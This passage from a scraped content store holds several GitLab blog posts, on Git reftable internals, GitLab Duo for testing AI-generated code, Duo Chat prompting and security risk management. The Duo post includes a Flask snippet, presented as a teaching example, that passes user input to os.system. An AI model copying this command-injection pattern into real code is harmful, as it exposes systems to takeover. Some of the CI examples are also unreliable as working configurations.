are dropping records, add the next record to the priority queue.\n\n![Dropping all records from queue that have the same name](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_7_-_Priority_queue_3.svg)\n\nNow we can rinse and repeat to read records for other keys.\n\nTables may contain special \"tombstone\" records that mark a record as having been deleted. This allows us to delete records without having to rewrite all tables to not contain the record anymore.\n\n### Auto-compaction\n\nWhile the idea behind the priority queue is simple enough, it would be rather inefficient to merge together hundreds or even only dozens of tables in this way. So while it is true that every update to your references appends a new table to your `tables.list` file, it is only part of the story.\n\nThe other part is auto-compaction: After a new table has been appended to the list of tables, the \"reftable\" backend checks whether some of the tables should be merged. This is done by using a simple heuristic: We check whether the list of tables forms a [geometric sequence](https://en.wikipedia.org/wiki/Geometric_progression) with the file sizes. Every table `n` must be at least twice as large as the next-most-recent table `n + 1`. If that geometric sequence is violated, the backend will compact tables so that the geometric sequence is restored.\n\nOver time, this will lead to structures that look like the following:\n\n```shell\n$ du --apparent-size .git/reftable/*\n429    .git/reftable/0x000000000001-0x00000000bd7c-d9819000.ref\n101    .git/reftable/0x00000000bd7d-0x00000000c5ac-c34b88a4.ref\n32    .git/reftable/0x00000000c5ad-0x00000000cc6c-60391f53.ref\n8    .git/reftable/0x00000000cc6d-0x00000000cdc1-61c30db1.ref\n3    .git/reftable/0x00000000cdc2-0x00000000ce67-d9b55a96.ref\n1    .git/reftable/0x00000000ce68-0x00000000ce6b-44721696.ref\n1    .git/reftable/tables.list\n```\n\nNote how for every single table, the property `size(n) > size(n+1) * 2` holds.\n\nOne of the consequences of auto-compaction is that the \"reftable\" backend maintains itself. We no longer have to run `git pack-refs` in a repository.\n\n## Want to learn more?\n\nYou should now have a good understanding of how the new \"reftable\" format works under the hood. If you want to dive even deeper into the format, you can refer to the [technical documentation](https://git-scm.com/docs/reftable) provided by the Git project.\n\n> Read our [Git 2.45.0 recap](https://about.gitlab.com/blog/whats-new-in-git-2-45-0/) to find out what else is in this version of Git.",[1067,696,815,1268],{"slug":5821,"featured":92,"template":678},"a-beginners-guide-to-the-git-reftable-format","content:en-us:blog:a-beginners-guide-to-the-git-reftable-format.yml","A Beginners Guide To The Git Reftable Format","en-us/blog/a-beginners-guide-to-the-git-reftable-format.yml","en-us/blog/a-beginners-guide-to-the-git-reftable-format",{"_path":5827,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5828,"content":5834,"config":5838,"_id":5840,"_type":16,"title":5841,"_source":17,"_file":5842,"_stem":5843,"_extension":20},"/en-us/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code",{"title":5829,"description":5830,"ogTitle":5829,"ogDescription":5830,"noIndex":6,"ogImage":5831,"ogUrl":5832,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5832,"schema":5833},"Developing GitLab Duo: Secure and thoroughly test AI-generated code","Learn step-by-step how to enhance AI-generated code reliability and security using GitLab Duo and GitLab Pages (includes code samples and prompts).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097183/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750097183481.png","https://about.gitlab.com/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developing GitLab Duo: Secure and thoroughly test AI-generated code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-05-30\",\n      }",{"title":5829,"description":5830,"authors":5835,"heroImage":5831,"date":5817,"body":5836,"category":791,"tags":5837},[2680],"___Generative AI marks a monumental shift in the software development industry, making it easier to develop, secure, and operate software. Our new blog series, written by our product and engineering teams, gives you an inside look at how we create, test, and deploy the AI features you need integrated throughout the enterprise. Get to know new capabilities within GitLab Duo and how they will help DevSecOps teams deliver better results for customers.___\n\nAs AI becomes increasingly integral to software development, ensuring the security and thorough testing of AI-generated code is paramount. This article is a step-by-step guide to combining [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI features to powering the DevSecOps workflow, and [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) to secure and thoroughly test AI-generated code. You'll discover how to mitigate common risks, including how to automatically generate tests, test code, and deploy test reports – all to enhance the reliability of your AI-generated code.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n## Challenges in AI-generated code\n\nAI-generated code often faces issues such as:\n\n- Mismatched algorithms: Incorrect or suboptimal algorithms can be generated.\n- Dependency problems: AI may include dependencies that are outdated or incompatible.\n- Security vulnerabilities: AI might generate code with potential security flaws.\n\nAI-generated code often faces issues such as mismatched algorithms, dependency problems, and security vulnerabilities. A [recent study published by the Association of Computing Machinery](https://dl.acm.org/doi/pdf/10.1145/3613904.3642596) on ChatGPT’s responses to programming questions found that 52% of the answers contained incorrect information, and 77% were overly verbose. Despite these shortcomings, users preferred ChatGPT’s comprehensive and well-articulated answers 35% of the time, even overlooking misinformation 39% of the time. Addressing these challenges requires the use of advanced tools and frameworks.\n\n## GitLab’s approach to AI security and testing\n\nGitLab has a comprehensive content strategy focused on integrating security measures within the development workflow. By leveraging GitLab Duo for AI-powered code generation and GitLab Pages for embedding test reports, developers can ensure their AI-generated code is both secure and reliable.\n\nHere is a step-by-step guide to pair GitLab Duo and GitLab Pages to ensure secure and thoroughly tested AI-generated code by implementing a [Flask web server](https://flask.palletsprojects.com/en/3.0.x/).\n\n### 1. Create a new project on GitLab.com\n\n- Go to [GitLab.com](http://GitLab.com).\n- Click on the \"New project\" button.\n- Choose \"Create blank project\".\n- Enter a project name (e.g., AI_Code_Security).\n- Set the visibility level (Public, Internal, or Private).\n- Click \"Create project\".\n\n### 2. Enable GitLab Duo Code Suggestions\n\n- Navigate to your project.\n- Click on the \"Web IDE\" button to open the Web IDE.\n- Ensure that GitLab Duo features like Code Suggestions and Duo Chat are enabled. \n- Start coding in the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/). As you type, GitLab Duo will provide code suggestions to help you write code more efficiently.\n\n### 3. Create a Flask web server\n\nYou can create a Flask web server using the comment (highlighted in green) in the screenshot below.\n\n![DGD testing - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097192520.png)\n\n### 4. Generate tests with GitLab Duo\n\nUnit tests are essential for validating the functionality of the generated code. Use GitLab Duo’s `/tests` command to [generate testing suggestions directly in the Web IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat_examples.html#write-tests-in-the-ide). This command can be tailored with additional instructions to focus on specific aspects such as performance, regression, or using particular frameworks.\n\n#### Example usage in Web IDE:\n\n- Select the code for which you want to generate tests.\n- Use the command `/tests` followed by additional instructions if needed.\n\n![DGD testing - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097192521.png)\n\n### 5. Identify issues with AI-generated code using GitLab Duo Chat\n\nUse GitLab Duo Chat to review and refine AI-generated code. For instance, let's check our Flask web server code for security vulnerabilities:\n\n```unset\nPrompt: Review this code for potential security vulnerabilities and dependency issues.\n\n```\n\n![DGD testing - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097192523.png)\n\nGitLab Duo Chat can help identify the vulnerabilities in the above code.\n\n### 6. Generate test reports\nAfter running your tests, generate a test report that will be deployed using GitLab Pages.\n\n```unset\n\nPrompt: Write me a python script to generate a test report that will be deployed using \nGitLab Pages.\n\n```\n\n![DGD testing - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097192525.png)\n\nWhat's happening here?\n\n- The script ensures the test_reports directory exists.\n- It runs the `test_server.py` file using `subprocess.run()`, capturing the output.\n- The raw output is saved to `test_reports/test_output.txt`.\n- An HTML report is generated, embedding the test output within `\u003Cpre>` tags for readability, and saved as `test_reports/index.html`.\n\n### 7. Deploy the test report with GitLab Pages\n\nUse [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) to host and display the test report. Here’s the configuration for our `.gitlab-ci.yml` file to deploy the test report.\n\n```python\n\nstages:\n  - test\n  - deploy\ntest_job:\n  stage: test\n  script:\n    - python generate_test_report.py\n  artifacts:\n    paths:\n      - test_reports/\npages:\n  stage: deploy\n  script:\n    - mv test_reports public\n  artifacts:\n    paths:\n      - public\n\n ```\n\nWith this setup, the `test_job` stage runs the Python script to generate the test report. The `pages` stage moves the `test_reports` directory to `public`, which GitLab Pages uses to serve the content.\n\n### 8. Embedding test reports in MR widgets\n\nEmbedding the [test reports in MR widgets](https://docs.gitlab.com/ee/ci/testing/unit_test_reports.html) provides immediate visibility into the testing outcomes, ensuring transparency and reliability. This can be done by including the test report as an artifact in your CI/CD pipeline configuration:\n\n```python\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the project...\"\n    - # Your build commands here\n\ntest_job:\n  stage: test\n  script:\n    - mkdir -p test-reports\n    - python test_server.py > test-reports/results.xml\n  artifacts:\n    when: always\n    reports:\n      junit: test-reports/results.xml\n    paths:\n      - test-reports/results.xml\n\npages:\n  stage: deploy\n  script:\n    - mkdir .public\n    - mv test-reports .public/\n  artifacts:\n    paths:\n      - .public\n\n```\nBy including the test report as an artifact and specifying it in the reports section, GitLab will automatically display the test results in the MR widgets, providing immediate visibility into the testing outcomes and enhancing transparency and reliability.\n\n### Case study: AI reliability with security policies and scanners\n\nImagine a scenario where an AI-generated code snippet introduces a dependency that has known vulnerabilities. By using GitLab Duo and its security policies, this dependency would be flagged during the code generation process. Let’s consider an example where a snippet was generated by AI:\n\n```python\n\nimport os\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/search')\ndef search():\n    query = request.args.get('query')\n    execute_os_command(query)\n    return 'You searched for: ' + query\n\ndef execute_os_command(command):\n    os.system(command)\n\nif __name__ == '__main__':\n    app.run()\n\n```\n\nIn this example, the search endpoint is vulnerable to OS command injection. By leveraging GitLab's Static Application Security Testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) component, this vulnerability would be detected during the CI/CD pipeline.\n\n#### Integrate SAST scanning to detect vulnerabilities\n\nGitLab SAST automatically analyzes your code for security vulnerabilities. Here’s how it can be integrated into your `.gitlab-ci.yml` file to scan for issues:\n\n```python\n\nstages:\n  - build\n  - test\n  - sast\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the project...\"\n    - # Your build commands here\n\ntest_job:\n  stage: test\n  script:\n    - python test_server.py > test-reports/results.xml\n  artifacts:\n    when: always\n    reports:\n      junit: test-reports/results.xml\n    paths:\n      - test-reports/results.xml\n\nsast_job:\n  stage: sast\n  script:\n    - echo \"Running SAST...\"\n  artifacts:\n    reports:\n      sast: gl-sast-report.json\n  only:\n    - branches\n\npages:\n  stage: deploy\n  script:\n    - mv test-reports public\n  artifacts:\n    paths:\n      - public\n\n```\n\nIn this configuration, the `sast_job` stage runs SAST to detect vulnerabilities in the code, producing a report (`gl-sast-report.json`) that will be included in the pipeline artifacts! By integrating security policies and robust testing frameworks, GitLab Duo helps customers ensure that their AI-generated code is both efficient and secure.\n\n## Get started today\nThe integration of AI in software development brings significant benefits but also introduces new challenges. By using tools like GitLab Duo and GitLab Pages, developers can ensure that their AI-generated code is secure, well-tested, and reliable. Explore these tools today and join the conversation on enhancing AI security and testing!\n\n> [Start a 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial) today to access GitLab Duo and GitLab Pages.\n\n## Read more of the \"Developing GitLab Duo\" series\n\n- [Developing GitLab Duo: How we validate and test AI models at scale](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/)\n- [Developing GitLab Duo: AI Impact analytics dashboard measures the ROI of AI](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n- [Developing GitLab Duo: How we are dogfooding our AI features](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features/)\n- [Developing GitLab Duo: Blending AI and Root Cause Analysis to fix CI/CD pipelines](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/)\n",[790,943,696,674],{"slug":5839,"featured":6,"template":678},"how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code","content:en-us:blog:how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code.yml","How Gitlab Duo Helps Secure And Thoroughly Test Ai Generated Code","en-us/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code.yml","en-us/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code",{"_path":5845,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5846,"content":5852,"config":5857,"_id":5859,"_type":16,"title":5860,"_source":17,"_file":5861,"_stem":5862,"_extension":20},"/en-us/blog/gitlab-duo-chat-101-get-more-done-on-gitlab-with-our-ai-assistant",{"title":5847,"description":5848,"ogTitle":5847,"ogDescription":5848,"noIndex":6,"ogImage":5849,"ogUrl":5850,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5850,"schema":5851},"GitLab Duo Chat 101: Get more done on GitLab with our AI assistant","In this first article in our series learn how Chat can improve developer productivity – for example, by summarizing issues – and how to improve prompts to get better answers faster.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099126/Blog/Hero%20Images/Blog/Hero%20Images/GitLab_Duo_Blog_Hero_1800x945_r2_B%20%281%29_6a2UB7TOQk3JKxyb5yqYtc_1750099126039.png","https://about.gitlab.com/blog/gitlab-duo-chat-101-get-more-done-on-gitlab-with-our-ai-assistant","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Chat 101: Get more done on GitLab with our AI assistant\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2024-05-29\",\n      }",{"title":5847,"description":5848,"authors":5853,"heroImage":5849,"date":5854,"body":5855,"category":791,"tags":5856},[2816],"2024-05-29","GitLab Duo Chat became [generally available](https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available/) in [GitLab 16.11](https://about.gitlab.com/releases/2024/04/18/gitlab-16-11-released/) and its power as a personal assistant can not be overstated. On a DevSecOps platform, more has to happen than just generating code; planning, discussions, security, compliance, and technical reviews are all critical to developing secure software faster. Issues, epics, merge requests, and other sections of GitLab are where this work happens, with knowledge often buried deep in comment threads. It can take a lot of time to get up to speed on these threads, especially when they've grown to hundreds of comments and interactions and when you've been away from them for a while. This is where GitLab Duo Chat can help.\n\nIn this first part of our GitLab Duo Chat 101 series, we'll introduce you to Chat's capabilities and then dig into how to use Chat to summarize comment threads.\n\n> Live demo! Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Register today](https://about.gitlab.com/seventeen/)!\n\n## GitLab Duo Chat's capabilities\n\nWith Chat, you can refactor [existing code](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#refactor-code-in-the-ide), learn how a [block of code works](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#explain-code-in-the-ide), and write [tests](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#write-tests-in-the-ide) for your code, learn about your issues and epics, and much more. Depending on your prompts, you can make Chat do impressive things that boost developer productivity. In the video below, I showcased how you can use GitLab Duo Chat to interact with GitLab and learn about your issues and epics.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/RJezT5_V6dI?si=XlXGs2DHAYa8Awzs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Use cases   \n\nGitLab Duo Chat’s capabilities allow for productivity gains across multiple parts of the software development lifecycle:\n\n- Product and project managers can use Chat’s issues and epics capabilities to gain insights into discussions and plan faster.\n- Developers can create solutions faster with code suggestions and refactoring capabilities. When it comes to working with legacy code or code from other team members, less time is spent on research with the ` /explain` capability providing the necessary insights to understand the code.\n- Quality assurance and test engineers can generate tests and check for vulnerabilities\n- New employees can get a better understanding of their code base and get started solving problems.\n- Beginner programmers can understand and pick up a language or framework quickly and create solutions with Chat providing next steps and insights.\n\n> Check out \"[10 best practices for using GitLab Duo Chat](https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat/)\" for tips and tricks to craft AI prompts. \n\n## Summarizing issues\n\nWhen you encounter an issue, especially one with a lot of comments, you skim through the issue description, along with a couple of comments, but can't always get the complete picture of the conversations. GitLab Duo Chat can get you up to speed fast. In the image below, I asked Chat to summarize an issue along with a follow-up question. In two prompts, I got what I needed to understand what is going on in the issue without spending hours reading through the comments.\n\n![Chat summarizing an issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099137/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099137154.png)\n\nYou can use GitLab Duo Chat on the GitLab interface, as well as [the WebIDE, Visual Studio Code, and JetBrains interfaces](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#use-gitlab-duo-chat-in-the-web-ide).\n\n## Prompts and context\n\nGetting the best responses from any AI tool requires carefully crafting the questions asked. Sometimes, you need to give examples of the responses you expect to prime the large language models (LLMs) toward a desired response. Here are some areas to focus on to get desired responses.\n\n### Context\n\nHere are three prompts with similar objectives but worded differently:\n\n| Prompt 1     | Prompt 2     | Prompt 3    |\n| ---------- | ---------- | ---------- |\n| ![Prompt: Can you summarize this issue's description?](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099137/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099137154.png)       | ![Prompt: Can you provide a high-level summary of this issue?](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099137/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099137155.png)      | ![Prompt: Why is this issue popular?](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099137/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099137156.png)      |\n\nThe context, “this issue,” is common among the three prompts; this tells Chat what resource to use in looking for answers. Prompt 1 gives additional context on what to focus on: the description of the issue. Prompt 2 is not limited in its scope, which means the LLMs will spend more time going through the description and all the comments to provide a more detailed summary of the whole issue. (Note: As of the publication of this blog, there were more than 90 comments in that issue.) Prompt 3 got a poorer response because not much expectation was set for the type of response expected. \n\n[Low-context communication](https://handbook.gitlab.com/handbook/company/culture/all-remote/effective-communication/#understanding-low-context-communication) is critical in crafting your prompt for the best responses, as all information needed for the LLMs to provide an informed response is provided.\n\n### Simplicity\n\nThe wordiness of prompts can sometimes lead to incorrect or no responses. In the image below, you can see that rephrasing a prompt from “Customers have mentioned why this issue is important to them. Can you list the top 3 reasons they mentioned?” to “Why is this issue important to customers?” led to the expected response. When you don’t get the response you desire, simplifying or changing the words used in your prompt can improve the quality of responses.\n\n![Wordy Chat prompts](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099137/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099137158.png)\n\n### Follow-up questions\n\nGitLab Duo Chat can have follow-up conversations – an essential capability. In the image below, I continued asking how the issue in question can be solved in GitLab's code along with a follow-up question asking for code samples.\n\n![Streamlined Chat prompt shown](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099137/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099137158.png)\n\nFollow-up questions allow the application to maintain context and provide faster responses. A recommendation is to provide parts of Chat’s previous responses in the next prompt. In the example above, I mentioned “Rails App,” as previously suggested. \n\n## Get started with GitLab Duo Chat \n\nGitLab Duo Chat does more than help you write better code, it helps you navigate through problems and quickly find solutions. With the right prompts and context, you can build secure software faster.\n\n> Want to try GitLab Duo Chat? [Start your free trial](https://about.gitlab.com/gitlab-duo/#free-trial) today.",[790,479,943,696],{"slug":5858,"featured":92,"template":678},"gitlab-duo-chat-101-get-more-done-on-gitlab-with-our-ai-assistant","content:en-us:blog:gitlab-duo-chat-101-get-more-done-on-gitlab-with-our-ai-assistant.yml","Gitlab Duo Chat 101 Get More Done On Gitlab With Our Ai Assistant","en-us/blog/gitlab-duo-chat-101-get-more-done-on-gitlab-with-our-ai-assistant.yml","en-us/blog/gitlab-duo-chat-101-get-more-done-on-gitlab-with-our-ai-assistant",{"_path":5864,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5865,"content":5870,"config":5875,"_id":5877,"_type":16,"title":5878,"_source":17,"_file":5879,"_stem":5880,"_extension":20},"/en-us/blog/3-tips-to-improve-your-security-risk-management-program",{"title":5866,"description":5867,"ogTitle":5866,"ogDescription":5867,"noIndex":6,"ogImage":3961,"ogUrl":5868,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5868,"schema":5869},"3 tips to improve your security risk management program","Establishing a security risk management program is more than just checking the compliance box. Here are a few ways to help better protect information and support strategic decision-making.","https://about.gitlab.com/blog/3-tips-to-improve-your-security-risk-management-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 tips to improve your security risk management program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kyle Smith\"}],\n        \"datePublished\": \"2024-05-28\",\n      }",{"title":5866,"description":5867,"authors":5871,"heroImage":3961,"date":5872,"body":5873,"category":674,"tags":5874},[2305],"2024-05-28","Risk management is typically viewed as a check-the-box compliance activity. It can also be seen as a blocker. Effective risk management programs provide their company’s decision-makers with relevant, reliable, and usable information to support the achievement of objectives and mitigation of risks. [GitLab’s Security Operational Risk Management (StORM) program](https://handbook.gitlab.com/handbook/security/security-assurance/security-risk/storm-program/) identifies, monitors, and supports the remediation of security risks. Risk information from the StORM program informs our Security division’s strategy and helps to maintain the [confidentiality, integrity, and availability (CIA)](https://www.techtarget.com/whatis/definition/Confidentiality-integrity-and-availability-CIA) of customer and GitLab data. We’ve made some changes over the past year to our risk management practices to better support strategic decision-making and we’d like to share some of these changes in the spirit of [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) and [transparency](https://handbook.gitlab.com/handbook/values/#transparency).\n\n## Aggregate and self-serve risk information\nRisk information measures and contextualizes risks. For example, if we have a risk related to identity management, helpful risk information might be the number of open compliance observations related to identity management (for example, lack of multi-factor authentication for # applications). A more qualitative example for the same risk could be the latest developments related to the rollout of a single sign-on (SSO) platform. \n\nThe efficiency of self-serving risk information will depend on the level of access you have to company information. Aggregating risk information at GitLab involves searching the following sources (among others):\n\n- [GitLab](https://gitlab.com/) - GitLab objects (i.e., epics, issues, and merge requests) related to our risk\n- Google Drive - documents, spreadsheets, and presentations\n- Shared calendars - meetings, agendas, and recordings\n- Slack - recent announcements and discussions\n- [The GitLab Handbook](https://handbook.gitlab.com/handbook/) - policies, key contacts, operational guides, and roadmaps\n\nBy finding risk information ourselves, we get familiar with the risks, identify key team members, reduce the risk of bias, and save risk owners time. When pulling information from other teams/departments/functions that report on risks (for example, Internal Audit), highlight that overlap to show a more comprehensive view of your risks. In your search for risk information, try to find out if customers are interested in this risk and what competitors are doing about it? Linking disparate information in an easily consumable way also helps folks get up to speed quickly (very helpful for new team members).\n\n## Identify metrics to contextualize risks\n\nRisks can be ambiguous. Having metrics to help put them into context and measure progress toward a goal [is key to making better decisions](https://online.hbs.edu/blog/post/data-driven-decision-making). How are these risks affecting the achievement of objectives, what does success look like? Identify the end goal and how that can be measured. Even if the information for the metric isn’t readily available, it’s a helpful guide until you can establish the metric or activity that generates the metric. High-level metrics are also helpful to understand the breadth and complexity of your company such as number of:\n- team members\n- temporary service providers (i.e., contractors)\n- applications in your tech stack\n- production servers\n- active vendors\n- countries in which your company operates\n\nWhen documenting or presenting this information (ex., a [quarterly risk report](https://handbook.gitlab.com/handbook/security/security-assurance/security-risk/storm-program/#risk-tracking-and-reporting)), it’s [helpful to link](https://handbook.gitlab.com/handbook/communication/#cross-link) out to the source of these metrics so that they can be viewed by readers. Ask decision-makers for feedback on these metrics, asking, \"Is what we have helpful or is there anything else you'd like to see?\"\n\n## Open up access to risk information for greater awareness and engagement\n\nAccess to risk-related information, audit findings, and other compliance output is usually restricted to specific teams or select team members. Does it have to be? We’ve found that opening up access and hosting it on a familiar platform (GitLab for us) has increased engagement and awareness.\n\nRisks and objectives are always changing. Differing perspectives gained from greater transparency can help refine risks and create an environment for new ideas. Risks should be considered [always in draft](https://handbook.gitlab.com/handbook/values/#everything-is-in-draft) and contributions from risk owners and other contributors should be encouraged.\n\nHave you tried any of the above suggestions? If so, how did it go? Or do you have ideas about how we can better support security-related decision-making? We’d love to hear from you. Please [share feedback in our forum](https://forum.gitlab.com/t/3-tips-to-improve-your-security-risk-management-program/104994) or email us directly at `securityrisk@gitlab.com`.\n\nIf you’d like to learn more about how we manage security risk, please check out [the StORM program](https://handbook.gitlab.com/handbook/security/security-assurance/security-risk/storm-program/) in the GitLab Handbook.",[674,943],{"slug":5876,"featured":92,"template":678},"3-tips-to-improve-your-security-risk-management-program","content:en-us:blog:3-tips-to-improve-your-security-risk-management-program.yml","3 Tips To Improve Your Security Risk Management Program","en-us/blog/3-tips-to-improve-your-security-risk-management-program.yml","en-us/blog/3-tips-to-improve-your-security-risk-management-program",{"_path":5882,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5883,"content":5889,"config":5894,"_id":5897,"_type":16,"title":5898,"_source":17,"_file":5899,"_stem":5900,"_extension":20},"/en-us/blog/gitlab-patch-release-17-0-1-16-11-3-16-10-6",{"title":5884,"description":5885,"ogTitle":5884,"ogDescription":5885,"config":5886,"ogImage":3431,"ogUrl":5887,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5887,"schema":5888},"GitLab Patch Release: 17.0.1, 16.11.3, 16.10.6","Learn more about GitLab Patch Release: 17.0.1, 16.11.3, 16.10.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-0-1-16-11-3-16-10-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.0.1, 16.11.3, 16.10.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Alfaro\"}],\n        \"datePublished\": \"2024-05-22\",\n      }",{"title":5884,"description":5885,"authors":5890,"heroImage":3431,"date":5891,"body":5892,"category":674,"tags":5893},[3185],"2024-05-22","This is the security release post for [GitLab Patch Release: 17.0.1, 16.11.3, 16.10.6](https://about.gitlab.com/releases/2024/05/22/patch-release-gitlab-17-0-1-released/).",[1464,716,479],{"slug":5895,"featured":6,"template":678,"externalUrl":5896},"gitlab-patch-release-17-0-1-16-11-3-16-10-6","https://about.gitlab.com/releases/2024/05/22/patch-release-gitlab-17-0-1-released/","content:en-us:blog:gitlab-patch-release-17-0-1-16-11-3-16-10-6.yml","Gitlab Patch Release 17 0 1 16 11 3 16 10 6","en-us/blog/gitlab-patch-release-17-0-1-16-11-3-16-10-6.yml","en-us/blog/gitlab-patch-release-17-0-1-16-11-3-16-10-6",{"_path":5902,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5903,"content":5909,"config":5915,"_id":5917,"_type":16,"title":5918,"_source":17,"_file":5919,"_stem":5920,"_extension":20},"/en-us/blog/7-steps-to-enhance-application-security-without-slowing-developer-velocity",{"title":5904,"description":5905,"ogTitle":5904,"ogDescription":5905,"noIndex":6,"ogImage":5906,"ogUrl":5907,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5907,"schema":5908},"7 steps to enhance application security without slowing developer velocity","Learn how to incrementally enable scanning to successfully shift-left security while keeping development at pace.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099154/Blog/Hero%20Images/Blog/Hero%20Images/applicationsecurity_applicationsecurity.png_1750099154308.png","https://about.gitlab.com/blog/7-steps-to-enhance-application-security-without-slowing-developer-velocity","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"7 steps to enhance application security without slowing developer velocity\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julie Byrne\"}],\n        \"datePublished\": \"2024-05-21\",\n      }",{"title":5904,"description":5905,"authors":5910,"heroImage":5906,"date":5912,"body":5913,"category":674,"tags":5914},[5911],"Julie Byrne","2024-05-21","Organizations are feeling an increased sense of urgency to ensure the security of their built applications by putting in place cybersecurity protocols. However, as they enable security analyzers on source code and related assets, they find that the amount of data they are getting in terms of potential vulnerabilities is overwhelming to development teams. This article provides seven steps to take to implement scans without dramatically slowing down developer velocity. This tutorial is based on my work with customers who have experienced this dilemma.\n\n## The need for increased application security\n\nApplication security has become a greater a focus for organizations in part because of the following reasons:\n\n- Recent [high-profile cyber attacks](https://www.cm-alliance.com/cybersecurity-blog/biggest-cyber-attacks-data-breaches-ransomware-attacks-february-2024) have had major business impacts, including long outage windows, stolen data, and ransoms being paid.\n- The U.S. government released a series of [executive orders concentrated on software supply chain security](https://www.whitehouse.gov/omb/briefing-room/2022/09/14/enhancing-the-security-of-the-software-supply-chain-to-deliver-a-secure-government-experience/) and now requires that vendors supply a [software bill of materials (SBOM)](https://www.cisa.gov/sbom) that lists the ingredients in terms of open source libraries that make up a software application. \n - Compliance standards such as [SOC2](https://about.gitlab.com/blog/how-gitlab-can-help-with-your-soc-2-audit/), which mandate companies to validate the security of their applications, are becoming more common in many industries.\n\nOne way to meet 